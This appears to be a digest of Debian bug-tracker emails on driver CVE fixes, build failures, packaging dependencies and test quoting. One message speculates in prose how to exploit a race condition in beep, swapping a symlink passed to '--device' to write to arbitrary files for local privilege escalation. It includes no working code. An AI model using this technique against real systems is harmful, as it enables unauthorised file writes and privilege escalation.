Bug#894338: nvidia-graphics-drivers: CVE-2018-6249, CVE-2018-6253: null pointer dereference and infinite recursion due to malformed shader

[Andreas Beckmann]

On 2018-04-05 01:57, Luca Boccassi wrote:
> Gah, of course I had libglvnd from bpo. I always, always forget to
> remove it when moving back and forth...
> 
> Sorry for the noise, works fine after removing those.

But why doesn't it work with src:libglvnd from backports - it works fine
on sid (where src:libglvnd is the only choice), doesn't it? There
haven't been any glvnd symbol changes recently.

Probably postpone investigation until we have a 390.48 backport ...

> Do you need any help with these uploads? Would you like me to create
> the tickets for the release team, or do the upload to unstable of 390?

I had more time today than planned :-(
All done :-)

Andreas

Bug#861270: marked as done (mldemos: FTBFS with OpenCV 3)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 17:26:29 +
with message-id 
and subject line Bug#861270: fixed in mldemos 0.5.1+git.1.ee5d11f-2
has caused the Debian Bug report #861270,
regarding mldemos: FTBFS with OpenCV 3
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
861270: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=861270
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: mldemos
Version: 0.5.1+git.1.ee5d11f-1
Severity: important
Control: block 841733 by -1

Dear maintainer,

your package fails to build with OpenCV 3.x (as found in experimental):

g++ -c -pipe -Wno-all -Wno-unused-variable -Wno-unused-parameter -Wtrigraphs 
-Wreturn-type -Wnon-virtual-dtor -Wunused-value -Wunknown-pragmas -Wno-shadow 
-g -O2 -fdebug-prefix-map=/<>/mldemos-0.5.1+git.1.ee5d11f=. 
-specs=/usr/share/dpkg/pie-compile.specs -fstack-protector-strong -Wformat 
-Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -D_REENTRANT -fPIC 
-DWITHBOOST -DQT_NO_DEBUG -DQT_PLUGIN -DQT_SVG_LIB -DQT_OPENGL_LIB 
-DQT_WIDGETS_LIB -DQT_GUI_LIB -DQT_CORE_LIB -I. -I../.. -I../../Core 
-I../../Core -I../../_3rdParty -I../../_3rdParty -I. -I../../Core 
-I../../MLDemos -I../../_3rdParty -isystem /usr/include/i386-linux-gnu/qt5 
-isystem /usr/include/i386-linux-gnu/qt5/QtSvg -isystem 
/usr/include/i386-linux-gnu/qt5/QtOpenGL -isystem 
/usr/include/i386-linux-gnu/qt5/QtWidgets -isystem 
/usr/include/i386-linux-gnu/qt5/QtGui -isystem 
/usr/include/i386-linux-gnu/qt5/QtCore -Ibuild -Ibuild 
-I/usr/lib/i386-linux-gnu/qt5/mkspecs/linux-g++ -o build/basicOpenCV.o 
basicOpenCV.cpp
basicOpenCV.cpp: In static member function ‘static void 
BasicOpenCV::DisplayHueSatHist(IplImage*)’:
basicOpenCV.cpp:266:56: error: ‘cvCvtPixToPlane’ was not declared in this scope
 cvCvtPixToPlane( hsv, h_plane, s_plane, v_plane, 0 );
^
basicOpenCV.cpp:274:59: error: ‘cvQueryHistValue_2D’ was not declared in this 
scope
 f32 bin_val = cvQueryHistValue_2D( hist, h, s );
   ^
Makefile.pluginOpenCV:615: recipe for target 'build/basicOpenCV.o' failed
make[2]: *** [build/basicOpenCV.o] Error 1
make[2]: Leaving directory 
'/<>/mldemos-0.5.1+git.1.ee5d11f/_AlgorithmsPlugins/OpenCV'
Makefile:626: recipe for target 
'sub-_AlgorithmsPlugins-OpenCV-pluginOpenCV-pro-make_first-ordered' failed
make[1]: *** 
[sub-_AlgorithmsPlugins-OpenCV-pluginOpenCV-pro-make_first-ordered] Error 2
make[1]: Leaving directory '/<>/mldemos-0.5.1+git.1.ee5d11f'
dh_auto_build: make -j1 returned exit code 2
debian/rules:10: recipe for target 'build-arch' failed
make: *** [build-arch] Error 2
dpkg-buildpackage: error: debian/rules build-arch gave error exit status 2


-- 
regards,
Mattia Rizzolo

GPG Key: 66AE 2B4A FCCF 3F52 DA18  4D18 4B04 3FCD B944 4540  .''`.
more about me:  https://mapreri.org : :'  :
Launchpad user: https://launchpad.net/~mapreri  `. `'`
Debian QA page: https://qa.debian.org/developer.php?login=mattia  `-


signature.asc
Description: PGP signature
--- End Message ---
--- Begin Message ---
Source: mldemos
Source-Version: 0.5.1+git.1.ee5d11f-2

We believe that the bug you reported is fixed in the latest version of
mldemos, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 861...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Barak A. Pearlmutter  (supplier of updated mldemos package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Thu, 05 Apr 2018 16:11:18 +0100
Source: mldemos
Binary: mldemos
Architecture: source amd64
Version: 0.5.1+git.1.ee5d11f-2
Distribution: unstable
Urgency: medium
Maintainer: Barak A. Pearlmutter 
Changed-By: Barak A. Pearlmutter 
Description:
 mldemos- Machine Learning Demos (MLDemos) with Visualization
Closes: 857970 861270
Changes:
 mldemos (0.5.1+git.1.ee5d11f-2) unstable; urgency=medium
 .
   * bump to dh11
   * bump policy
   * isolate debian packaging on its own branch, push non-debian fixes onto 
upstream mods branch
   * swizzle packaging repo to

Bug#894667: Explanation of the beep vulnerability found on the 'net.

[Anthony DeRobertis]

An explanation of the exploit (not by me) is at
:

My speculation on the race condition fixed in the patch:

The while loop in `main` calls `play_beep` multiple times. Each call
to `play_beep` opens the `--device` and sets the global
`console_fd`, and then sets the global `console_type` based on the
`ioctl(EVIOCGSND)` error, before calling `do_beep`.

This normally prevents the user from writing to arbitrary files with
`--device`, because without the `ioctl(EVIOCGSND)` succeeding,
`do_beep` with `BEEP_TYPE_CONSOLE` only does a (harmless?)
`ioctl(KIOCSOUND)`, not a `write` with the `struct input_event`.
However, the signal handler calls `do_beep` directly using the
globals set by `play_beep`...

So I image that with something along the lines of `beep
--device=./symlink-to-tty ... --new ...`, you can rewrite the
symlink to point to an arbitrary file during the first `play_beep`,
and then race the open/ioctl in the second `play_beep` with the
signal handler such that `do_beep` gets called with `console_fd`
pointing to your arbitrary file, and with `console_type` still set
to `BEEP_TYPE_EVDEV`, resulting in a `write` to your arbitrary file.

Exploiting that for privesc would require control over the `struct
input_event` for the `write`... `handle_signal` calls `do_beep` with
a fixed `freq` of 0, so all of the initialized fields are set to
fixed values... However, there's an unitialized `struct timeval` at
the beginning of the `struct input_event`, and it's allocated on the
stack...

Seems like a curious security vulnerability, I'll assume the debian
security team must have a working PoC in order to actually call it
out as a local privesc vulnerability... I'd love to see the actual
PoC eventually :)

Bug#894970: tomcat8: missing Depends on libservlet3.1-java

[Thorsten Glaser]

Package: tomcat8
Version: 8.5.14-1+deb9u2
Severity: grave
Justification: renders package unusable

Without libservlet3.1-java installed, deploying a simple WAR fails:

05-Apr-2018 16:25:18.310 INFO [localhost-startStop-1] 
org.apache.catalina.startup.HostConfig.deployDirectory Deploying web 
application directory /var/lib/tomcat8/webapps/ROOT
05-Apr-2018 16:25:19.252 WARNING [localhost-startStop-1] 
org.apache.tomcat.util.scan.StandardJarScanner.scan Failed to scan 
[file:/usr/share/java/el-api-3.0.jar] from classloader hierarchy
 java.io.FileNotFoundException: /usr/share/java/el-api-3.0.jar (No such file or 
directory)
at java.util.zip.ZipFile.open(Native Method)
at java.util.zip.ZipFile.(ZipFile.java:225)
at java.util.zip.ZipFile.(ZipFile.java:155)
at java.util.jar.JarFile.(JarFile.java:166)
at java.util.jar.JarFile.(JarFile.java:130)
at 
org.apache.tomcat.util.scan.JarFileUrlJar.(JarFileUrlJar.java:60)
at 
org.apache.tomcat.util.scan.JarFactory.newInstance(JarFactory.java:49)
at 
org.apache.tomcat.util.scan.StandardJarScanner.process(StandardJarScanner.java:338)
at 
org.apache.tomcat.util.scan.StandardJarScanner.scan(StandardJarScanner.java:288)
at 
org.apache.catalina.startup.ContextConfig.processJarsForWebFragments(ContextConfig.java:1898)
at 
org.apache.catalina.startup.ContextConfig.webConfig(ContextConfig.java:1126)
at 
org.apache.catalina.startup.ContextConfig.configureStart(ContextConfig.java:775)
at 
org.apache.catalina.startup.ContextConfig.lifecycleEvent(ContextConfig.java:299)
at 
org.apache.catalina.util.LifecycleBase.fireLifecycleEvent(LifecycleBase.java:94)
at 
org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5105)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
at 
org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:752)
at 
org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:728)
at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:734)
at 
org.apache.catalina.startup.HostConfig.deployDirectory(HostConfig.java:1107)
at 
org.apache.catalina.startup.HostConfig$DeployDirectory.run(HostConfig.java:1841)
at 
java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at 
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at 
java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:748)

05-Apr-2018 16:25:19.256 WARNING [localhost-startStop-1] 
org.apache.tomcat.util.scan.StandardJarScanner.scan Failed to scan 
[file:/usr/share/java/jsp-api-2.3.jar] from classloader hierarchy
 java.io.FileNotFoundException: /usr/share/java/jsp-api-2.3.jar (No such file 
or directory)
at java.util.zip.ZipFile.open(Native Method)
at java.util.zip.ZipFile.(ZipFile.java:225)
at java.util.zip.ZipFile.(ZipFile.java:155)
at java.util.jar.JarFile.(JarFile.java:166)
at java.util.jar.JarFile.(JarFile.java:130)
at 
org.apache.tomcat.util.scan.JarFileUrlJar.(JarFileUrlJar.java:60)
at 
org.apache.tomcat.util.scan.JarFactory.newInstance(JarFactory.java:49)
at 
org.apache.tomcat.util.scan.StandardJarScanner.process(StandardJarScanner.java:338)
at 
org.apache.tomcat.util.scan.StandardJarScanner.scan(StandardJarScanner.java:288)
at 
org.apache.catalina.startup.ContextConfig.processJarsForWebFragments(ContextConfig.java:1898)
at 
org.apache.catalina.startup.ContextConfig.webConfig(ContextConfig.java:1126)
at 
org.apache.catalina.startup.ContextConfig.configureStart(ContextConfig.java:775)
at 
org.apache.catalina.startup.ContextConfig.lifecycleEvent(ContextConfig.java:299)
at 
org.apache.catalina.util.LifecycleBase.fireLifecycleEvent(LifecycleBase.java:94)
at 
org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5105)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
at 
org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:752)
at 
org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:728)
at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:734)
at 
org.apache.catalina.startup.HostConfig.deployDirectory(HostConfig.java:1107)
at 
org.apache.catalina.startup.HostConfig$DeployDirectory.run(HostConfig.java:1841)
at 
java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at 
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at 
java.util.concurrent.ThreadPoolExecutor$Worker.r

Bug#894338: marked as done (nvidia-graphics-drivers: CVE-2018-6249, CVE-2018-6253: null pointer dereference and infinite recursion due to malformed shader)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 16:44:15 +
with message-id 
and subject line Bug#894338: fixed in nvidia-graphics-drivers 390.48-1
has caused the Debian Bug report #894338,
regarding nvidia-graphics-drivers: CVE-2018-6249, CVE-2018-6253: null pointer 
dereference and infinite recursion due to malformed shader
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894338: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894338
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: nvidia-graphics-drivers
Version: 384.111
Severity: serious
Tags: security upstream

http://nvidia.custhelp.com/app/answers/detail/a_id/4649

CVE-2018-6249

NVIDIA GPU Display Driver contains a vulnerability in kernel mode layer
handler where a NULL pointer dereference may lead to denial of service
or potential escalation of privileges.

CVE-2018-6253

NVIDIA GPU Display Driver contains a vulnerability in the DirectX and
OpenGL Usermode drivers where a specially crafted pixel shader can
cause infinite recursion leading to denial of service.

Fixed versions:

R390390.46
R384384.125

-- 
Kind regards,
Luca Boccassi

signature.asc
Description: This is a digitally signed message part
--- End Message ---
--- Begin Message ---
Source: nvidia-graphics-drivers
Source-Version: 390.48-1

We believe that the bug you reported is fixed in the latest version of
nvidia-graphics-drivers, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Andreas Beckmann  (supplier of updated nvidia-graphics-drivers 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Thu, 05 Apr 2018 17:51:02 +0200
Source: nvidia-graphics-drivers
Binary: nvidia-driver nvidia-driver-bin nvidia-driver-libs 
nvidia-driver-libs-i386 nvidia-driver-libs-nonglvnd 
nvidia-driver-libs-nonglvnd-i386 xserver-xorg-video-nvidia nvidia-legacy-check 
libglvnd0-nvidia libopengl0-glvnd-nvidia libglx0-glvnd-nvidia libglx-nvidia0 
libgl1-glvnd-nvidia-glx libgl1-nvidia-glvnd-glx libgl1-nvidia-glx 
libnvidia-glcore libegl1-glvnd-nvidia libegl1-nvidia libegl-nvidia0 
libgles1-glvnd-nvidia libgles1-nvidia libgles-nvidia1 libgles2-glvnd-nvidia 
libgles2-nvidia libgles-nvidia2 libnvidia-eglcore nvidia-egl-common 
nvidia-egl-icd libnvidia-egl-wayland1 nvidia-egl-wayland-common 
nvidia-egl-wayland-icd nvidia-vulkan-common nvidia-vulkan-icd 
nvidia-nonglvnd-vulkan-common nvidia-nonglvnd-vulkan-icd libnvidia-cfg1 
nvidia-alternative nvidia-kernel-support nvidia-kernel-dkms 
nvidia-kernel-source nvidia-vdpau-driver nvidia-smi nvidia-cuda-mps libcuda1 
libcuda1-i386 libnvidia-compiler libnvidia-fatbinaryloader 
libnvidia-ptxjitcompiler1 libnvcuvid1
 libnvidia-encode1 libnvidia-ifr1 libnvidia-fbc1 libnvidia-ml1 
nvidia-opencl-common nvidia-opencl-icd nvidia-libopencl1
 nvidia-detect
Architecture: source
Version: 390.48-1
Distribution: unstable
Urgency: medium
Maintainer: Debian NVIDIA Maintainers 
Changed-By: Andreas Beckmann 
Description:
 libcuda1   - NVIDIA CUDA Driver Library
 libcuda1-i386 - NVIDIA CUDA 32-bit runtime library
 libegl-nvidia0 - NVIDIA binary EGL library
 libegl1-glvnd-nvidia - Vendor neutral GL dispatch library -- libEGL
 libegl1-nvidia - NVIDIA binary EGL library (non-GLVND variant)
 libgl1-glvnd-nvidia-glx - Vendor neutral GL dispatch library -- libGL
 libgl1-nvidia-glvnd-glx - NVIDIA binary OpenGL/GLX library (GLVND variant)
 libgl1-nvidia-glx - NVIDIA binary OpenGL/GLX library (non-GLVND variant)
 libgles-nvidia1 - NVIDIA binary OpenGL|ES 1.x library
 libgles-nvidia2 - NVIDIA binary OpenGL|ES 2.x library
 libgles1-glvnd-nvidia - NVIDIA binary OpenGL|ES 1.x GLVND stub library
 libgles1-nvidia - NVIDIA binary OpenGL|ES 1.x library (transitional)
 libgles2-glvnd-nvidia - NVIDIA binary OpenGL|ES 2.x GLVND stub library
 libgles2-nvidia - NVIDIA binary OpenGL|ES 2.x library (transitional)
 libglvnd0-nvidia - Vendor neutral GL dispatch library -- libGLdispatch
 libglx-nvidia0 - NVIDIA binary GLX library
 libglx0-glvnd-nvidia - Vendor neutral GL dispatch library -- libGLX
 libnvcuvid1 - NVIDIA CUDA Video Decoder runtime li

Bug#894909: making wireguard work on RHEL7/etc.

[Daniel Kahn Gillmor]

On Thu 2018-04-05 11:08:20 -0400, Daniel Kahn Gillmor wrote:
> On Tue 2017-06-27 13:08:14 +0200, Jason A. Donenfeld wrote:
>> compat.h is a dumpster fire already. Tons of people use the RHEL kernel.
>> I think supporting it won't make an already gross cess pool any more
>> disgusting. It's a file of hacks; I might as well add another.
>>
>> (I probably won't add hacks, though, for the heaps of random custom
>> Android vendor kernels.)
>
> sorry to dredge this thread back up from the archives...
>
> https://bugs.debian.org/894909 shows someone trying to build wireguard
> against the debian 8 ("jessie" aka "oldstable") 3.16 kernel saying that
> they needed a similar patch to make the kernel module build.
>
> I know that debian's kernel team does backport a lot of fixes to our
> supported older kernels, similar to older releases of RedHat.
>
> i'm asking over on #debian-kernel (on OFTC) to see whether there is some
> similar to RHEL_MAJOR or CONFIG_SUSE_KERNEL or UTS_UBUNTU_RELEASE_ABI
> that we can use for jessie.

Ben Hutchings of the debian kernel team followed up there suggesting
feature tests or autoconf-type checks:

11:02 < dkg> https://bugs.debian.org/894909 suggests that some of the
 backported fixes to 3.16 in jessie are getting in the way
 of compiling wireguard.  the referenced upstream thread
 shows that they worked around the problem for RHEL7 using
 some redhat-specific #defines
11:02 -zwiebelbot:#debian-kernel- Debian#894909: wireguard-dkms:
  dev_recursion_level definition problem
  - https://bugs.debian.org/894909
11:02 < dkg> is there a comparable fix for older debian kernels?
11:04 < dkg> they have tests for #if RHEL_MAJOR == 7
11:04 < dkg> and #ifdef UTS_UBUNTU_RELEASE_ABI
11:52 < bwh> dkg: I've been there, and the way to deal with this is 
autoconf-type checks
11:55 < bwh> Well, either '#ifdef feature' or an autoconf-type check

So i don't think there's a comparable #define we can use for the
maintained debian kernels :/

i don't know how dev_recursion_level works.  can we wrap the #define
dev_recursion_level() 0 inside an #ifndef dev_recursion_level safely?

   --dkg

Bug#894816: [mikutter] mikutter doesn't start with error

[dai]

> I downgladed ruby-gtk2, ruby-glib2, ruby-atk and ruby-gdk-pixbuf2 to
> 2.2.5-3+b2. But it still doesn't start.

Is it correct at "2.2.5" ?

I downgraded to 3.2.1-5+b2 and mikutter started again.

ii  mikutter 3.6.5+dfsg-1
ii  ruby-cairo-gobject:amd64 3.2.1-5+b2
ii  ruby-gio2:amd64  3.2.1-5+b2
ii  ruby-glib2:amd64 3.2.1-5+b2
ii  ruby-gobject-introspection:amd64 3.2.1-5+b2
ii  ruby-gtk2:amd64  3.2.1-5+b2
ii  ruby-pango:amd64 3.2.1-5+b2
-- 
Regards,
dai

GPG Fingerprint = 0B29 D88E 42E6 B765 B8D8 EA50 7839 619D D439 668E


signature.asc
Description: PGP signature

Processed: Quoting fixed in autopkgtest 5.2

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 894923 + buster sid
Bug #894923 {Done: Bas Couwenberg } [src:mapnik-reference] 
Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894924 + buster sid
Bug #894924 [node-abstract-leveldown] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894925 + buster sid
Bug #894925 [node-ansi] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894926 + buster sid
Bug #894926 [node-archy] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894927 + buster sid
Bug #894927 [node-bl] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894928 + buster sid
Bug #894928 [node-body-parser] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894929 + buster sid
Bug #894929 [node-browserify-lite] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894930 + buster sid
Bug #894930 [node-clarinet] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894931 + buster sid
Bug #894931 [node-content-disposition] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894932 + buster sid
Bug #894932 [node-cookie] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894933 + buster sid
Bug #894933 [node-cookies] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894935 + buster sid
Bug #894935 [src:node-cookie-signature] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894936 + buster sid
Bug #894936 [src:node-depd] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894937 + buster sid
Bug #894937 [src:node-entities] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894938 + buster sid
Bug #894938 [src:node-fd-slicer] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894939 + buster sid
Bug #894939 [src:node-findit2] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894940 + buster sid
Bug #894940 [src:node-groove] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894941 + buster sid
Bug #894941 [src:node-gyp] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894942 + buster sid
Bug #894942 [src:node-leveldown] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894943 + buster sid
Bug #894943 [src:node-mapnik] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894944 + buster sid
Bug #894944 [src:node-media-typer] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894945 + buster sid
Bug #894945 [src:node-multiparty] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894946 + buster sid
Bug #894946 [src:node-music-library-index] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894947 + buster sid
Bug #894947 [src:node-nwmatcher] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894948 + buster sid
Bug #894948 [src:node-on-finished] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894949 + buster sid
Bug #894949 [src:node-parseurl] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894950 + buster sid
Bug #894950 [src:node-pend] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894951 + buster sid
Bug #894951 [src:node-pre-gyp] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894952 + buster sid
Bug #894952 [src:node-qs] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894953 + buster sid
Bug #894953 [src:node-srs] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894954 + buster sid
Bug #894954 [src:node-stylus] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894955 + buster sid
Bug #894955 [src:node-ws] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894956 + buster sid
Bug #894956 [src:node-yauzl] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894957 + buster sid
Bug #894957 [src:node-yazl] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> tags 894958 + buster sid
Bug #894958 [src:node-ytdl-core] Quoting fixed in autopkgtest 5.2
Added tag(s) sid and buster.
> tags 894959 + buster sid
Bug #894959 [src:node-zipfile] Quoting fixed in autopkgtest 5.2
Added tag(s) buster and sid.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894923: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894923
894924: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894924
894925: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894925
894926: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894926
894927: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894927
894928: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894928
894929: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894929
894930: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894930
894

Bug#894923: marked as done (Quoting fixed in autopkgtest 5.2)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 15:31:55 +
with message-id 
and subject line Bug#894923: fixed in mapnik-reference 8.8.1-1~exp1
has caused the Debian Bug report #894923,
regarding Quoting fixed in autopkgtest 5.2
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894923: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894923
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---

Source: mapnik-reference
Severity: serious
User: ubuntu-de...@lists.ubuntu.com
Usertags: origin-ubuntu bionic autopkgtest

Hi Maintainer

The quote escaping bug [1] was recently fixed in autopkgtest 5.2.
This means you can finally fix those crazy quotes, for example:

--- a/debian/tests/control
+++ b/debian/tests/control
@@ -1,3 +1,3 @@
-Test-Command: nodejs -e "require('"'"'zipfile'"'"');"
+Test-Command: nodejs -e "require('zipfile');"
 Depends: @

This also means that your autopkgtests will start failing soon and you 
may miss actual regressions.


Regards
Graham


[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893035
--- End Message ---
--- Begin Message ---
Source: mapnik-reference
Source-Version: 8.8.1-1~exp1

We believe that the bug you reported is fixed in the latest version of
mapnik-reference, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Bas Couwenberg  (supplier of updated mapnik-reference 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Thu, 05 Apr 2018 16:45:47 +0200
Source: mapnik-reference
Binary: mapnik-reference
Architecture: source all
Version: 8.8.1-1~exp1
Distribution: experimental
Urgency: medium
Maintainer: Debian Javascript Maintainers 

Changed-By: Bas Couwenberg 
Description:
 mapnik-reference - Parseable specifications of mapnik - Node.js module
Closes: 894923
Changes:
 mapnik-reference (8.8.1-1~exp1) experimental; urgency=medium
 .
   * Team upload.
   * New upstream release.
   * Update (build) dependencies.
   * Bump Standards-Version to 4.1.3, no changes.
   * Refresh patches.
   * Drop unnecessary Testsuite field from control file.
   * Update copyright-format URL to use HTTPS.
   * Fix quoting in tests control file.
 (closes: #894923)
   * Update Vcs-* URLs for Salsa.
Checksums-Sha1:
 fb5c9ff3d1d8c5e91eeec23105a86d4511f1e23e 2089 mapnik-reference_8.8.1-1~exp1.dsc
 4b4a0123877e7d98070a4a3902c88a418b00 158587 
mapnik-reference_8.8.1.orig.tar.gz
 fc32a6accb3644b964005aa5b6a5067c0b874da0 4864 
mapnik-reference_8.8.1-1~exp1.debian.tar.xz
 46e1774ac9d8353343e9ea49ac474fdd2bb2dba9 32352 
mapnik-reference_8.8.1-1~exp1_all.deb
 1a9e99754611c229d0f0fde90e603f3dc2fe73aa 9482 
mapnik-reference_8.8.1-1~exp1_amd64.buildinfo
Checksums-Sha256:
 1e2b01bda556d24c2be540d2290c91400e1bc525e3bd7c1b70025d3ad311e67f 2089 
mapnik-reference_8.8.1-1~exp1.dsc
 fb9dcbcf95c15f01876ac67693876cc55b8fa93ed64bebf84721382c025cf35c 158587 
mapnik-reference_8.8.1.orig.tar.gz
 b06198348821bdf66374f03c708d96d86ec6127574e32124b2b699de850c19e4 4864 
mapnik-reference_8.8.1-1~exp1.debian.tar.xz
 c536a8d9f7c9cbb968ed4262acad7c2599eaebee24f2677be974752b59818a8e 32352 
mapnik-reference_8.8.1-1~exp1_all.deb
 ba5041bd51ee8b11cb14d6bde7d986c223e28765f60390a811f9fe285f107f72 9482 
mapnik-reference_8.8.1-1~exp1_amd64.buildinfo
Files:
 fda6a099bde854821aa5889defbb8893 2089 doc optional 
mapnik-reference_8.8.1-1~exp1.dsc
 4649e86523a0ef22998f4f951fd88533 158587 doc optional 
mapnik-reference_8.8.1.orig.tar.gz
 9cd4c56033c2d39e30ac80c04a86b1f5 4864 doc optional 
mapnik-reference_8.8.1-1~exp1.debian.tar.xz
 305b54a32ed8c84a6e67d43b854e36bc 32352 doc optional 
mapnik-reference_8.8.1-1~exp1_all.deb
 8e936b95f96dba4ee530cd91291cb7e3 9482 doc optional 
mapnik-reference_8.8.1-1~exp1_amd64.buildinfo

-BEGIN PGP SIGNATURE-

iQIzBAEBCgAdFiEEgYLeQXBWQI1hRlDRZ1DxCuiNSvEFAlrGOB8ACgkQZ1DxCuiN
SvFDaw/6A6xj7xlRFKjGP+tpVTHs2rJRQ47RZmMB3WxbW3j1iIbDCTQJeaEVt2ll
4mnN5YU7CjpMtaHE98rc3OLU4CLM6mid232yaS+X1XZmDfsktj/nHj9gqnil+vVS
TOeedoJTW0wffqEnwgUWtrR5/TZ2Y2cqeJfZTkygapNy5XIrwtConCt77jINlKrt
